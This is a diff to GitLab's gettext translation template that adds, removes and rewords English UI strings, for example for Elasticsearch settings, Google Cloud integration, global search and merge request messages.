@@ -11419,19 +11635,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11674,9 +11896,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11908,7 +12127,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12178,6 +12397,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12346,6 +12568,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12436,9 +12661,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12472,6 +12694,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12550,9 +12775,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12646,6 +12877,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12661,6 +12895,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12682,6 +12919,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12781,9 +13021,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12835,6 +13072,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12856,6 +13096,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12928,6 +13171,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13102,6 +13348,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13186,16 +13438,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13435,9 +13684,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13486,9 +13732,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13825,7 +14068,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14008,9 +14251,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14128,6 +14368,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14203,6 +14449,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14320,6 +14572,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14386,6 +14641,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14398,9 +14656,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14842,6 +15097,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14938,15 +15196,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15025,6 +15274,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15238,6 +15490,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15343,9 +15598,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15619,9 +15871,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15793,6 +16042,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15856,6 +16108,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16027,6 +16282,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16174,7 +16474,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16231,6 +16543,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16495,7 +16810,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16795,6 +17110,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16972,7 +17293,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16987,7 +17311,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17086,6 +17413,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17353,7 +17683,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17392,6 +17722,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18172,7 +18505,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18337,9 +18673,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18403,6 +18736,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18619,12 +18955,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18742,6 +19084,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18757,6 +19102,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18787,7 +19138,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18844,7 +19198,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18982,22 +19336,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19012,9 +19363,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19033,9 +19381,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19222,6 +19567,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19297,6 +19645,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19354,16 +19705,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19372,9 +19720,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19468,6 +19813,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19477,6 +19825,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19573,9 +19924,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19600,9 +19957,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19711,18 +20065,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19741,18 +20086,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19762,6 +20101,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19771,12 +20113,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19807,9 +20143,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20107,6 +20440,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20452,7 +20788,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20557,6 +20893,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20602,6 +20941,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20746,9 +21088,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20776,13 +21115,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20800,6 +21139,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21016,7 +21358,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21097,7 +21439,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21310,6 +21652,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21328,6 +21673,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21535,9 +21883,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21700,6 +22045,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21715,6 +22066,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21760,22 +22114,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge requests that I'm a reviewer"
-msgstr ""
-
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21895,6 +22240,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22534,6 +22891,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22786,9 +23146,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22939,9 +23296,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22966,6 +23320,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23170,6 +23527,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23206,6 +23566,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23401,6 +23764,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23449,9 +23815,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23494,6 +23866,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23515,6 +23890,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23611,6 +23989,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23830,7 +24211,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
